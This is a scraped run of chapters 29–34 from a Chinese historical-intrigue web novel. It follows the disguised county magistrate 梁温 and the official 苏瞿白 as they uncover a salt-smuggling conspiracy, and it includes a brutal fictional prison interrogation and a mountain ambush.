县令一走,剩下的人蜂拥而至,将元岐围堵起来。 “这是我,瞧见了没,这体格子,一看就健硕。” “切,傻大个,我这才叫俊逸。” “头上戴朵花就俊逸了?你当你是花瓶吗?” …… 好挤,这是元岐最大的感受。 他寻着空隙,将自己死命往外伸,最后还是王主薄够了他一把才成功脱身。 “谢了啊!”元岐啪的一下甩开扇子,为自己降温。 王主薄看到他纸扇上的“义”字,有些稀奇,伸手想要摸摸,却被元岐一把躲过。 “干嘛啊?”元岐护的紧。 “瞧瞧你,刚才还在谢我,你就是这么谢人的。我真好奇了,这折扇有什么特别之处吗,值得你这般珍视着?” “哼,总之,除了我,谁都不能碰。”元岐珍视的摸了摸扇柄,“在我这儿,什么珍宝都比不上它。” “行吧。”王主薄不再说什么,转头想起他给自己画的那张滑稽小像。 “你是故意的吧?” “什么?”元岐有点不明所以。 “我那张小像啊,你画工明明那么好,却给我画成那副鬼样子,不是故意的能是什么?”王主薄十分笃定。 “嗨,你不觉得特别吗?别人都没有,就你一个人有。”元岐找补。 “不觉得,我改主意了,那十幅小像你给我重画,不能低于刚才那张的画工。” 元岐直接学他:“你说什么?我听不见。” “真是的,关键时刻耳朵出问题了。” 王主薄冷哼一声:“别跟我装傻。” 元岐啊了一声,然后意味深长的哦了一声。 “什么?县令找我?我这就去找她。” 话音一落,元岐逃的比兔子都快。 王主薄只在原地捕捉到他的虚影。 他长叹一声,现在的小伙子啊。 世风日下,人心不古。 连老头子都不放过。 太糊弄人了。 刚想转身,元岐的身影又出现了,他探着脑袋:“别忘了将画挂上。” “赶紧滚吧你。”王主薄笑骂道。 哪里用得着他动手,那群猴似的上窜乱跳的小伙子早就如捧珍宝的供起来了。 自此以后,但凡是路过正堂,所有人都得往墙上挂着的画看两眼。 然后,和旁边的人会心一笑。 梁温此时正在院中,元宝带着符文华和符杳往院内走来。 梁温看见他手里提着的油纸包,里面是南街生意最兴隆的那家糕点铺的芙蓉糕。 她试过挺喜欢的,后来去符家的时候顺带着捎上了一包。 没想到,他们竟然记得。 待他们落座,元宝将油纸包接过,退了下去。 “何时动身?”梁温亲手为他们倒茶。 “回去就走。”符文华一身意气。 符杳伸出手 29. 赌约我定 《她也不想欺君》全本免费阅读 苏瞿白已经恭候多时了,他大马金刀的坐在桌案前,欣赏着梁温的墨宝。 梁温推门而入,苏瞿白没抬眼便晓得是她。 “你在看什么?”梁温见他看的入迷。 苏瞿白起身,给她腾地方:“你的墨宝。” “看出什么了?” “这字确实下了苦功夫。”他话音一转:“不过,还是得练。” 梁温自是清楚。 苏瞿白突然朝她意味深长的笑起来:“梁温,放心,我也是一位好夫子。” “那得看你能不能教出一位好徒弟。”梁温听懂了他的话外音,这是拐着弯在提昨天的事呢。 她确实是醉了,喝酒误事,诚不欺人也。 “我徒弟聪颖,包教包会。” “那也不一定。” 苏瞿白颇有信心:“等着吧,等徒弟出师的那天,我请你喝酒。” “不用了,还是留着你自己喝吧。” 梁温四两拨千斤,使劲将那茬事往外拐。 苏瞿白给自己研墨,随后取了张新纸,执笔潇洒,毫不停顿。 他一连十张,工工整整的字体分布在上面。 梁温略过这个话题:“追风和陈虎呢?” “盛京传来消息,老鼠蹦哒个没完,我让他们两个回去走一遭。” “老鼠指的是苏家吗?”梁温看他没什么严肃的姿态,略作猜想。 苏瞿白一笑,她总能直指要害。 “怎么会这样想?” “若不是其他位高权重的人,回盛京的就不会是追风和陈虎了。上次听你说过,苏家人不安分,你定会派人盯着。” “不愧是我徒弟。” 梁温气笑了:“苏瞿白,这便宜你都要占一下。” 苏瞿白点头:“我又不吃亏。” 梁温背过身去,不理他。 苏瞿白见此,说起另外一件事:“对了,有件事忘了问你?” “什么?” “上次你去牢中,刘元和你说了什么?” “你怎么知道?你在我身边安插了眼线?”当时梁温被牛青唤走可是在院外,避着人的。 苏瞿白神情自若:“没有。当时见你出去便想去跟着你一块,结果刚到院门口就看见牛青来寻你。你也知道的,练武之人,耳力还是不错的。” 梁温定定的看着他,苏瞿白再三强调:“真的没有,除了我,没人监视你。” 梁温这才收回视线,其实她没生疑,只不过下意识否定罢了。 “刘元说,当时张家被告上公堂他本来不知道,是升堂的前一天晚上有人去找了他,告诉他这件事。” 苏瞿白正色:“除此之外,还说什么了?来人是谁?是何模样?” 梁温将所知道出:“来人披着斗篷看不清脸,但声音透着老态,看身形像是女的。” 苏瞿白皱眉:“如此一说,那老妇人定是了解刘元和张家的矛盾,且时机特殊,与沈巍和孙家脱不了干系。” “不一定就是老妇人,既然不想被人知道身份,嗓音也不是没可能伪装。” 苏瞿白肯定她的话:“不排除这种可能。” 梁温突然想起来:“刘元还说孙家私下贩盐。” “确有此事,盛京那边也掌握了他们贩盐的证据,他们暂时不会轻举妄动。”苏瞿白心中有疑:“孙家贩盐这件事算是隐秘,瞒的挺紧的,刘元是怎么知道的?” “他说有一次孙有财和张衷栩到庄子上讲话,他偷听来的。”梁温也有些纳闷。 “按理说与张家接线的一直都是孙家主管,这也是因着孙家主管的小儿子与张家女的姻亲关系。孙有财只能算得上是孙磊手上不咬人的狗,孙磊断然不会将任何实权交给他,也绝不会让孙有财触碰有关沈巍的事。” 苏瞿白抽丝剥茧的分析着,梁温在旁听着。 苏瞿白和梁温一时找不到头绪,也不能将孙有财拎过来严刑拷打。 “既然想不出,那就拿人问。孙有财动不了,还有张家呢。虽然张衷栩已经死了,但是张员外可还在牢里呢。张员外那么宝贝他那个儿子,张衷栩和孙有财接触怎么可能逃的了他的法眼。” 梁温眼中生寒,所有的不确定都要尽早斩断。 若是一直处在被动的局面,形势对他们而言格外不利。 这般想着,梁温便要起身往外走。 苏瞿白一把扯过她的手腕,将她带到软榻上。 提步移到桌前,悠闲的倒了杯水。 “干嘛?”梁温不明所以。 苏瞿白将水杯送到她身前:“你的唇起皮了,喝口水润润。” 梁温一口饮尽,苏瞿白拿过又为她倒了一杯。 梁温没接:“苏瞿白,没功夫跟你纠缠。” 苏瞿白不动,梁温盯着他看了半天,没办法将水接过饮下。 一连三杯,苏瞿白才满意收回手。 “不用你,我来。” 梁温听见这话,忙说:“我和你一起。” “不用。”苏瞿白拒绝,想了想还是说:“手段可能有些狠辣,审讯过程中残了死了我都控制不了,你别去。” 苏瞿白净手后擦拭着:“牢狱那种地方你少去,免得沾了晦气。” 梁温没再说什么,只是微不可查的将视线从他身上移开。 苏瞿白注意到了,他走到她面前,盯着那双眼睛。 棕褐色的眸子带着防备,对他的防备。 苏瞿白看的一清二楚。 他指骨攥紧,藏在身后。 半晌,他才温声开口:“梁温,别怕我。” “我不怕你。”梁温没说假话,只是与虎谋皮,又怎能不担心不会被虎反噬。 苏瞿白缓缓蹲下身,拿过她的手贴在自己脸庞:“我说过,我会保你。” 梁温收回手:“你最好……说到做到。” 她嘴上冷硬,心中却忽视不了掌心传来的温度。 她不知怎的,看着这样的苏瞿白有一瞬心软。 她觉得他好脆弱。 怎么可能呢,这样年轻的大理寺少卿,前途无量,他在脆弱什么。 但是,私心上就是觉得这样高大的一个人,好像并不想他表面那样。 他现在给她的感觉,就像是温顺的鹿。 但实际上,他是咬人的虎。 苏瞿白一时没有动,沉寂的脸上突然生笑。 他长的好看,一笑眼睛便微微眯起。那双眼从锐利变的多情,尤其是望着你时,总会让人情不自禁沦陷进去。 “梁娘子,你怎么不开窍呢?” 他又恢复了那种有点痞的状态,嘴角总是挂着三分笑,却总是不入心。 “无心无情,不伤不痛。”梁温回了他八个字。 “好一个无心无情,不伤不痛。 30. 刑房探信 《她也不想欺君》全本免费阅读 “牛青,你去外面守着。” 刑房的墙上只开了一扇窗,还背对着日光,现下只有墙壁上的烛火映着光,起到一点照明的用处。 苏瞿白脸上的神情隐在昏暗中看不清,牛青没有迟疑,直接走人。 张员外的牙齿打颤,看着苏瞿白一步步走向他。 “你想知道什么?”声音依旧晦涩,透着紧张,眼睛死死盯住苏瞿白拿刀的手上。 苏瞿白没什么好脸色给他,他蹙着眉头,眼头下压,平白生出狠厉来。 “张衷栩和孙有财接触过。” 张员外一听到他儿子的名字,瞬间瞪大了眼,随后撇开视线摇头:“不,我不知道。” 苏瞿白可不想听这句话,二话没说直接将刀抵在他手腕上,用力一划,汩汩鲜血顺着刀尖坠落在地,张员外痛的仰脖嘶吼。 “啊啊啊啊啊,我……我真不知道。” 苏瞿白将刀换到另一只手腕上,还没划动,张员外就吓得开了口:“接……接触过。” 他痛的有些崩溃了,眼角流着泪:“我儿和他接触过。” “是谁先接触对方的?”苏瞿白收回手,拖了个长条长凳坐下,将刀插进木凳上。 “孙有财,是孙有财。” “孙有财为什么要找张衷栩呢?据我了解,孙家与张家的接头人是你的好亲家——孙家主管吧。”苏瞿白盯着他的眼,话语说的倒是轻快,可脸上一片漠然。 张员外迟疑了,还是开口:“我也不知道。” 苏瞿白哂笑一声,拔出刀甩出去,正中那只完好的手腕,整个手腕被刺穿。 他懒得废话,能动手绝不浪费口舌。 刑房本就阴暗,再加上张员外口中痛呼撕扯声,格外像是厉鬼索命。 牛青在外面听着,心中不免有些发怵。 苏瞿白等他疼过劲才问道:“这下,知道了吗?” 张员外耷拉着脑袋,喘着粗气:“不……不知道。” “嗯,嘴挺硬。”苏瞿白站起身:“也不知道,这条命有没有你嘴硬。” 他握住张员外的膝盖,咔嚓一声,骨裂的声音响起。 张员外直接痛晕过去,苏瞿白握住另外的膝盖,又是咔嚓一声,他又痛醒了。 张员外两条腿不自然下垂着,他失了力气,含糊开口:“你不如……给我个痛快。” “那就不好玩了。” 苏瞿白退开两步,身上不可避免的沾上了血腥气,这让他的眉头皱的更紧,语气也冷硬起来:“还不打算说吗?” 张员外恍惚着,他若是说了,出去后孙有财知道了,他还能活吗? 苏瞿白像是看出了他心中所想:“你不用想着,今日若是开口,来日孙有财知道了会报复你。你今日若是不开口,等不到他报复你的那天。” 言下之意,不开口,现在就得死。 张员外听明白了,他不是个蠢人。 “我开口,不还是活不了。”他看着面前狠辣的男子,没见过,心肠冷硬,不是个好惹的。 “也说不定,你熬的下去,能活。” 两个字总结:看命。 “我知道的……也不多。”张员外说话格外费劲,喘着粗气断断续续的说。 “孙有财知道我儿好赌,故意输掉上千两银子,就为了引起我儿的注意。后来他和我儿亮明身份暗中来往,我有一次见女儿的时候见过孙有财,因此那天撞见孙有财和我儿见面十分诧异,就警告我儿不要与他来往。” “但没用,我儿还是与他接触,我怕他被人忽悠,就找人盯着他。结果盯梢的人听到孙有财和我儿密谋贩卖私盐的事,我着急了,警告我儿并把他关了起来。” “我儿不服,和我产生了争执,他激动时说出孙有财的秘密。” 张员外说到这,竟痴痴的笑起来,嘴角的血往下淌着。 “什么秘密?” “你凑过来,我给你说。”张员外垂着眸,糟乱的发掩盖着他的神情。 苏瞿白又是利落一刀刺入他的肩膀:“你没资格谈条件。” “孙有财……恨他哥。”张员外说完这几个字,突然生了力往前够去,想要咬下苏瞿白一口肉来。 苏瞿白反手一巴掌,他的头磕到木桩上,半晌缓不过劲来。 他声音透着寒,脸也阴沉的不行:“胆子挺大。” 张员外大笑起来,像是疯癫了一般:“你们真可怜。” “你们真可怜啊。” 随后,他发了狠,眦目欲裂。嘴角的血流的越发的多,苏瞿白看出他的意图,直接上手卸了他的下颚。 张员外只能发出呜咽。 苏瞿白知道了自己想要的,没在管张员外的死活,直接往外走去。 他说过,能熬的过去,就活。 脚步声越来越远,刑房却来越静,张员外孱弱的呼吸声也越发清晰。 苏瞿白和牛青通过狭窄的甬道向外走,路过刘元的牢房时,苏瞿白还特意看了一眼。 刘元背对着他们,盘腿望着窗外。 他们不知道的是,刘元脸上笑得痴狂,无声的,眼角的泪不间断的流。 他听见了,听见张员外被带走,听见他歇斯底里的痛嚎。 真是畅快。 今日真是畅快。 上次这样畅快还是张衷栩斩立决那日。 恶人自有恶报,像他们这样的人死不足惜。 刘元看着窗外,想起自己那个爱笑的妻子,温温柔柔的。 出事的前一天,还和他说:“今日累不累,明日我去给你送饭。” 他挽着她的腰,顾不上身上的酸痛:“不累,一点都不累。” 刘元闭上眼,一切烟消云散。 离着大牢门口越近,身上越发生出暖意。 苏瞿白身上不可避免的溅上了血,下颌上,脖子上,清晰可见。 牛青与他保持着距离,他离开时往里看了眼,眼睛受到了巨大的冲击。 再看苏瞿白总是下意识退几步,苏瞿白哪里管他,他从来都不在意别人对他的目光。 才踏出门槛,脚步便顿住了。 瘦弱的身影站在不远处,目光清正的看着他,现在有些晚了,她披上了薄一些的斗篷,月牙白的。 他朝她走去,十几步后嗅到身上的血腥气便又往后退了几步。 隔着十几米:“不是让你别来吗?” 梁温也闻到了,但她主动凑近。 31. 多方筹谋 《她也不想欺君》全本免费阅读 沈府。 床幔里,沈巍侧着身子,用手在卫云颍的肩头轻轻拍着,见她呼吸平稳后悄声起身。 他只穿着单薄的里衣,小心翼翼的穿上鞋后推门出去,临走前还看了眼床上的身影。 崔嬷嬷守在门外,沈巍看向她:“将夫人守好了。” 崔嬷嬷应道:“是。” 徐良快步上前,为沈巍披上黑色的披风,他们向着外面走去,与夜色融为一体。 等他们到书房时,孙磊已经等候多时了,下人来回往返几次为他添茶。 孙磊身上穿着大氅,领口和袖口都露出柔软的皮毛来,此时临近秋末,晚间虽然寒凉一些,但也只是多添些厚着的衣物,没有人会像孙磊这样一副深冬打扮。 见到沈巍来,孙磊站起身,还未等开口就闷闷的咳起来。 沈巍皱眉,朝他招手示意他坐下。 孙磊缓过劲来,请罪一般笑着开口:“让节度使看笑话了。” 沈巍不明意味的哼了一声:“孙郎君还是顾及着点身子,你若是挺不住,偌大的孙家可就要乱了。” 孙磊笑脸相迎:“自是。节度使来的这样晚,想必是陪着夫人吧。” 沈巍给了他个警告的眼神,孙磊收敛。 沈巍聊起正事:“军饷运到哪了?” “和往年一样,不过今年不知怎么,刺史徐光启往里掺和一脚,将这事揽了过去。军饷刚入幽州的地界,徐光启就派人拦下来,由他亲自运送。”孙磊今日来便是来将这个消息告知,计划有变,不然也不会深夜亲自登门。 沈巍支着头,指尖抵在鬓角:“背后有人指使吗?” 孙磊摇头,轻声说:“咱们的人片刻不离的守着徐光启,没看到有人与他来往。” “时刻盯着有什么用,如果真想传递消息,再怎么盯都会有漏洞。”沈巍不信徐光启后面没人,以他的性子,不像是会随意插手一件棘手的事情当中。 “那接下来打算怎么办。”冷风吹过,孙磊有些冷,拢紧身上的大氅。 沈巍见他冻的唇色发白,示意徐良关窗。 孙磊见了:“多谢。” 沈巍没回,接着问道:“梁温那边呢?” “没什么动静,就是守着本分做事。”孙磊时常收到来自元岐的消息,因着县衙有他,就没多派人守着梁温。 元岐虽然与他不和,但归根究底是他们这边的人,还算是可信。 毕竟当年沈巍救过他一命,元岐嘴上虽然没个把门,但心里却是个重情义的。 这一点,他承认。 “我会给徐光启去一封信,梁温到时就正常跟着他一块,无非是多了一行人,也没什么差别。”沈巍将事情定下来。 孙磊应下,他想走了,这里太冷了。 还没等他动身,沈巍便问起旁的事来:“听说你有个三弟。” “是。”孙磊点头,他那个弟弟不学无术,心比天高,现在正一心想要考取功名呢。 孙家人世代行商,从没有人走上仕途这条路。孙磊倒觉得他那个弟弟虽然脑子不行,但这想法倒是挺好的。 毕竟,钱财于权势来说,不过是点缀。 皇商的名头虽然管用,但终不长久,朝中若是没人帮持,又能走多久。 “叫什么?”沈巍前几日听徐良提起过,有点感兴趣,但没记住。 “孙笙诠。” 沈巍将脑海中这点子记忆使劲往外揪:“听说明年春闱准备下场?” “是,不过他学识不行,不通策论经文,去了也是白去。” 沈巍倒是肯定这话:“确实,那小子我见过,头脑简单。” 孙磊脸上的笑意淡下来,虽然是实话,但毕竟是他孙家的人。让人这般说着,听着哪能舒坦。 “不过也没关系,朝堂上没脑子的人一抓一大把,毕竟仕途这条路,也不全靠才学。”沈巍意味深长的看着他。 孙磊如何能不明白他的意思:“家中自会出力。” “可有人选?”沈巍因着有些兴趣,多问了两句。 “有,丰泽县有一户人家就很合适。”孙磊关心此事,自是做了万全的准备。 “嗯,你知道吏部有谁可用,直接用即可。”毕竟是一条船上的蚂蚱,孙家壮大于他而言是好事。 “是。”跟着沈巍就这点好处,不吝啬。 孙磊冻的腿脚发麻,他看着衣衫单薄的沈巍,心生羡慕。 若是他也这般身体康健就好了。 一时无声,所有的动静被无限放大。 廊外传来细碎的脚步声,步履匆匆,落地却很轻,应当是个女子。 果不其然,房门被敲响,卫云颍院中的丫鬟在门外道:“主君,夫人醒了,叫奴来唤您。” 沈巍起身:“夜深露重,我还有事,就先走了。徐良,送送孙家主。” 随后,他也没再管孙磊,迈着步子走了。 孙磊看着他离去的背影,又看向留下的徐良,有些好笑道:“谁能知道幽州节度使竟是这般爱妻的人。” 徐良看着他:“你知道,我也知道,很多人都知道。” 孙磊看着他,笑了。 沈巍从哪弄来的木头,打趣的话都听不懂。 真稀奇,沈巍那样的人身边竟有这样的下属。 孙磊多看了两眼,徐良直接走人:“走吧,送你。” 为了遮掩,徐良无视府门口孙家的马车,而是另备一匹,送他回家。 而刚回到屋中的沈巍就看到卫云颍光着脚坐在梳妆镜前,一点一点为自己敷粉。 他走近,将人揽入怀中:“怎么起了?” 卫云颍沉浸其中,等敷好才转身抱紧沈巍的腰:“我眼角长细纹了。” 声音弱弱的,像是低诉。 又道:“不好看了,老了。” 沈巍将她扶起,面前这个陪伴他十多年的美妇人也快四十了。 但娇养的好,并不显老态,只是眼角有些淡淡的细纹。 “不老,好看。”沈巍用指腹轻轻抚平,他的手上都是厚厚的茧子,很快,眼角就被擦红了。 “明日让柳鸢给你配些养颜的药方。”沈巍抱紧她,语意柔和,和平日里格外不同:“走吧,我陪你睡觉。” 卫云颍窝在他怀中,轻蹭。 沈巍伸手将她打横抱起,放在床榻里侧,为她盖好被子,手掌轻轻拍着。 卫云颍听话的闭上眼,呼吸渐渐平稳。 沈巍灭了灯,与她躺在一块。 呼吸交缠在一起,一双眼睛睁开,满是清明。 视线落在上方,不知何时才缓缓闭上眼。 竖日,柳薇便被叫来,她在这里陪卫 32. 危机渐生 《她也不想欺君》全本免费阅读 苏瞿白面色平静的坐在窗前,一下又一下擦拭着手中的刀。 从窗外透入的光照在他的身上,今日倒是罕见的没穿玄色衣袍,而是改换一身紫衣。 梁温才登门,苏瞿白便道:“圣上召我归京。” 梁温关门的手一顿,随后将门关紧。 “什么时候?” “昨夜。” 梁温坐到他对面:“这个节骨眼……” 她的话没说完,但苏瞿白清楚她的意思。 “这次,我不能陪你了。”苏瞿白脸色冷硬便是因此,陈虎和追风也在盛京,身边可用之人甚少。 “没事,沈巍此行应该不会对我动手,我觉得可能考验更多一点。”梁温心中对此事琢磨了上百遍,将所有的可能都设想了一遍。 “徐光启可信。”苏瞿白见梁温摩挲着指腹,便知她在思索。 “他是你们的人。”梁温有所猜测,上次整顿县衙时徐光启主动出手处理马县丞,还有上次冠礼时突然就换成了他,一切都有迹可循。 “是我们的人。”苏瞿白驳回她的话。 “嗯。”梁温早就做好了准备,虽然苏瞿白归京的消息来的突然,但也不至于让她方寸大乱。 “你什么时候走?”梁温看着还在擦拭刀身的苏瞿白。 “现在。”话落,苏瞿白将刀直直插入刀鞘,手指攥得紧,站起身来。 “匕首记得随身带着,不能离身。”苏瞿白将手中摩挲已久的药瓶放在梁温身旁的桌案上:“这是保命用的,有三粒,遇到危险就用。” 那瓷药瓶小小的,不像是常用的窄口瓶,更像是女儿家的胭脂盒。 “嗯。” 苏瞿白从后门走了,元宝在那里为他备了马。 梁温没去相送,一直待在书房里。 元宝回来时,梁温正站着练字。 元宝伸脖一望,那个字他竟然不认识。 “他走了。”梁温开口唤醒发呆的元宝。 “是。”元宝眼睁睁看着他的身影消失:“郎主,那个苏郎君到底是谁啊?那么神秘,走的时候还带着斗笠,马骑的飞快。” 元宝早就好奇了,不光是他,梁温身边知晓有苏瞿白这么个人的都好奇。 但梁温从来没开口和他们说过,苏瞿白整日只对着梁温有笑脸,其余都一副模棱两可的邪气样。 梁温放下笔:“快了,你很快就会知道了。” 元宝听她这么说也没多想:“哦,对了,元县丞和王主薄都到了。” 梁温将练字的纸卷起来,扔进一旁的书画里。 她理了理衣袖:“元宝,你不用跟着了。我不在的这些日子,你先去祖母那里。” 元宝苦了一张脸:“好。” 元宝最是害怕梁老夫人,平日里也是能躲就躲。梁老夫人不是个嗟磨人的性子,平日里对下人虽然说不上和善,但也绝不会非打即骂,可是元宝一见到梁老夫人就心里直打鼓。 院门口,元宝与梁温背道而驰,一个走向正堂,一个去向另一个院子。 正堂里,元宝捂着嘴打哈欠,眼睛都睁不开,将两个椅子并在一块,双腿往上一搭,懒散的闭目养神。 王主薄则是坐在另外一边,有条不紊的处理着公务。 毕竟,这次县令和县丞都走,只剩下他一个主薄撑起县衙,王主薄瞬间觉得自己肩头格外重。 梁温和牛青到时,元岐还打起了轻鼾。 梁温看向牛青,牛青便上前扯过元岐放脚的椅子。 元岐下/身悬空,一下没个着落,猛地惊醒站起身来。 牛青用袖子擦拭着椅子面,随后拖到梁温面前。 梁温坐下来,看着元岐眼下的青黑:“元县丞这是没睡好?” “可不是嘛,我跟你说啊……”元岐脑子被浆糊糊住了,一时没反应过来,开口就是抱怨,说到一半才住嘴,意识到自己说了不该说的。 “说什么?”梁温等着他的下音。 王主薄乐于看元岐吃瘪,此时也不急于处理公务了,悠闲的看着元岐的笑话。 “没……没什么,昨天晚上在梦里跟别人打架,打了一晚上,睡得不好,今天身体哪里都酸痛。”他的声音弱弱的,用扇子挡住了嘴。 “打赢了吗?”梁温似笑非笑的看着他。 元岐一愣,没想到梁温会问这个,抹了把脖子:“当然赢了,我这身体壮的跟头牛似的,别说一个人,十个人我都打得过。” 梁温带有疑问的声音响起:“是吗?” 元岐狠狠点头:“没错。” 梁温调侃道:“那此行,还真没找错人。” “什么?”元岐一时没能明白梁温的意思。 牛青听懂了,直接抱拳:“这一路的安全就靠县丞了。” 元岐瞬间咬紧了牙关,但碍于面子,还是勉强应下:“好说好说。” 此时,张良走了进来。 他偏瘦弱,在一众衙役里不起眼,但脑子活络,梁温发现后就一直派他守着军饷的动向。 “县令,徐刺史的车马再有一个时辰就到了。” “这么慢。”元岐抱怨道。 梁温一听,对着牛青道:“去备膳,徐刺史到了正好赶上。” 元岐一改之前的疲态:“对对对,要备膳。我亲自去,牛青你就不用去了,我正好饿了,去去就回。” 他早就饿了,大清早到这儿是又没吃好又没睡好。 一张脸都熬的蜡黄蜡黄的,可把他自己心疼坏了。 梁温也在正堂正常处理公务,一时间,整个县衙都静下来。 日头高悬,本是个极好的天气,没一会儿天空却时常飘来云层,堆叠在一起,将日光遮挡起来。 天色有些昏黄发黑,西风送着凉,将徐光启他们一行人也送来了。 梁温和吃饱喝足的元岐站在县衙门口,看着他们乌泱泱的一群人。 梁温粗略扫了一眼,至少不下千人。 徐刺史下了马,梁温迎上去:“舟车劳顿,府中备了午膳。” 徐刺史精神矍铄,一点都看不出老态:“不用,看着像是要变天,咱们得抓紧时间赶紧走。” 梁温闻言,也不多劝,拿出早就准备好的地图。 不是她房中原有的舆图,而是苏瞿白拿给她的幽州地图。 牛青背过身去,梁温直接将地图在他身上摊开。 上面用朱笔勾出此行的路线,梁温指在一块必经之地上:“刺史你看这里。” 徐光启也研究过,知道那是什么地方。 “这里地势特殊,是丰泽县独有的山峡,山路狭窄多弯,不适合多人结队而行。” 徐光启活了这么多年也不是吃白饭的:“是个问 33. 被逼坠崖 《她也不想欺君》全本免费阅读 缰绳被突然勒住,马蹄扬起重重落下,嘶鸣声响彻山崖。 血肉被刺穿的声音响起后,数道身影从马上坠落,道路泥泞,污泥混着血汇成坑洼,一路蜿蜒。 牛青即刻抽出长刀护在梁温身前,徐刺史的守卫将他们团团围住,此时也顾不上山路陡峭了,夹着马腹便往前赶。 梁温不会武,只能在马背上尽力躲闪着,几个护卫守在她身前,箭矢落下,她眼睁睁的看着沾着血的箭镞穿透胸膛,鲜血迸溅在她脸上,握着缰绳的手紧了紧。 斜雨打在脸上,眼睛都只能半睁着,所有人浑身湿透,一动一静间,力气被渐渐耗尽。 牛青拿着长刀劈砍箭矢,身上也被擦出几道血痕。 他见梁温身侧没了人,俯身从下方的抽出一把别人丢弃的长刀,递给梁温:“县令拿着。” 梁温一把接过,虽然她不会武,但简单的招式还是能使出来的。 又是一道箭矢射出,梁温闪身躲过,但她身后的元岐却惊的一下抱住马脖,箭矢稳稳当当插在他的幞头上。 元岐颤颤巍巍伸出手将头顶的箭矢拔下:“我就说这不是个好差事吧。” “费什么话,赶紧往前走。”梁温转头朝他吼了一声。 天边又是雷霆滚滚,雨势越来越大,岩壁上碎石滚滚落下,梁温将地图拿出,寻找着最好的出路。 她视线落在前方的岔路口,左边便是宽阔平坦的大道,右边是往关山后的路,那里通向沈巍的营地。 “到了前面,往左边走。”梁温一把将地图揣进怀里,周身四五百人迅速缩减着。 她不敢确定,这里面有没有沈巍的手笔,若是有,右边就是死路。 数百人的性命,不能叫她一句话不确定就全压上。 那样滔天的罪孽,她……受不住。 才走十几步,如雨的箭矢停下,两侧的山崖上方身影尽数显露,黑衣加身,提着刀顺着陡斜的岩壁往下滑。 梁温和徐光启被分成两拨,一前一后被人制衡着,但梁温那里的人数是徐光启的数倍,且她发现,那些黑衣人正往她这边赶。 梁温瞬间确定,他们的目标是她。 元岐渐渐到了包围圈边缘,一个不察便与黑衣人打了照面。 梁温看着劈向他的横刀不由一惊,口中喝出:“元岐——” 但出乎意料的一幕出现了,元岐抱着头,俯身趴在马背上,刀刃离他不足一寸时偏移,他夹紧马腹逃了出去,黑衣人没管,继而朝着梁温那边赶去。 梁温心里打鼓,剧烈的心跳使她有一瞬耳鸣。 他们被黑衣人逼赶着——没错,就是逼赶,他们像是钝刀子割肉一般,追赶着梁温他们。 追的近些,便杀些守卫,然后放慢速度,一松一驰间,梁温等人已和徐光启他们相离甚远,看不清彼此的身影。 崎岖的山路被碎石和混泥阻隔,好在梁温他们跌跌撞撞也到了地图上的岔路口。 “往左边走。”梁温又重复了一遍,她的幞头早就被扫落在地,束着的发也散落开来,湿答答的贴在身上。 昏暗的夜色中,绿色的官服格外显眼。 梁温看着不断倒下的身影,脸色越发白,心中不知怎么的,格外煎熬。 黑衣人的目标是她,如果她此刻脱离牛青他们,说不定牛青他们还能活命。 但心中仿佛有两道声音。 一个再说:“别管他们,活下去。” 另外一个说:“你真的想用他们的死换自己的生吗?” 两道声音交织着,将她的心割裂成两半,思绪越发混乱,烦死了。 心神紊乱之际,牛青左肩被砍中,闷哼声清晰的传入梁温耳中。 梁温视线在他们身上一一看去,目光所及都是疲惫却又顽强抵抗的脸,毫不退缩的挡在她身前。 道道伤痕,无一不在向她诉说——他们没退。 梁温心中茫然,她自诩对自己了若指掌,冷血、寡情、薄意,她都能欣然往自己身上套用。 因为死过一次,所以她心中只要一个念头——活下去。 她只想活下去。 不管怎样活着,平淡也好,危险也好,被利用也好,甚至是卑鄙的活下去。 怎样都好。 但这一刻,她不认识自己了。 好像,也不是怎样活着都行,至少她的活不能是数百人的死换来的。 不是因为她有多高尚,而是,她死过一次,知道对生的渴望。 她是人,她有对生的渴望。 可他们和她一样,也是活生生的、有血有肉的人,同样对生充满渴望。 虽然他们的思想隔断了数千年的时光,但现在,处在同一时空的他们,心跳在以一种同样的频率震动着。 他们都活着,谁都不想死。 这个道理,她不是不明白,只是下意识去忽略。 而此刻,他们身上的伤叫她心底积压已久的火苗重新燃了起来。 她自私,她贪婪。 但她也有一点点的良善。 雨水浇在她身上,从身到心浇了个透彻。 攥着缰绳的手指越发青白,她定定的顿住。 “县令,你先走,我等拦住。” “县令,左边有林,您快去。” “县令,别管我们。” “县令——” “县令……” ……无数声音从四方围绕着她响起,其中掺杂着痛呼,担忧,怒吼,以及憋闷的唾骂。 梁温本来已经踏上左边的路了,但她去了,身后的人便都没了。 她看向狭窄的右方,若是一直不变道,往上走就是关山。 赌一把。 赢了,她们都活。 输了,她死。 但她赌,她不会输。 居然被逼到这个份上,梁温在心底讽刺自己。 她调转马头,两条路中间是个小坡,能拖得一时半刻。 她也顾不上危险,双腿夹着马腹,手中拿着半截箭矢,一下扎进马身。 悲凄的嘶鸣声响彻天地,她抱紧马脖,手中紧紧攥着缰绳,从牛青他们的围护中冲出,越过小土坡,向着关山奔去。 “你们不是冲我来的吗?来啊——” 呼啸的风将她的话传来,她猜的果然不错。 黑衣人没再伤人性命,只是将人打落在地,抢夺他们的马匹,追了上去。 关山上绿林密布,梁温没走开出来土路,而是一头扎进枯枝败叶,枝桠横生的林中。 过了一开始的亢奋劲,马儿的疲态就显露出来,虽然在梁温的驱策下还是尽力狂奔,但速度却慢了下来。 34. 尘封往事 风声依旧呼啸,雨水将一切都冲刷了去。 关山北的断崖上,数道黑衣身影没了踪迹,只有一道瘦弱的人还撑着伞向下望。 身后的密林黑漆漆的,整个关山北都透着诡谲。 地上被淋的湿漉的枯枝被踩折,泥泞的路上留下脚印,元岐一步一步朝着那人走去。 “来啦。” 依旧是呕哑嘲哳的嗓音,元岐听了心生烦闷:“怎么,是装久了忘了自己是谁了?” 他偏头看向她:“柳薇,这就没意思了。” 柳薇朝他走近,将伞分他一半,取下了幂篱,露出一张清秀的脸来。 元岐不领情,错开身,让雨浇灌着他。 柳薇也不在意他的态度,将一瓶药扔给他:“解药。” 元岐接过,发白的手指在上面摩挲着。 “不用吗?”柳薇多问了一嘴。 元岐哂笑一声:“用不用的都活不了,何必呢。” 柳薇沉默:“逃吧,说不定可以逃掉呢。” 元岐觉得没意思:“逃掉?苟存于世?” “好像确实可以这样。”元岐收敛了笑意,眼神晦暗不明:“你呢?” “我就在这儿。”柳薇望着深渊,“这是我欠他的。” “柳薇,我真看不懂你。”元岐心头说不上来的感觉,愧疚、麻木、难受,通通都有。 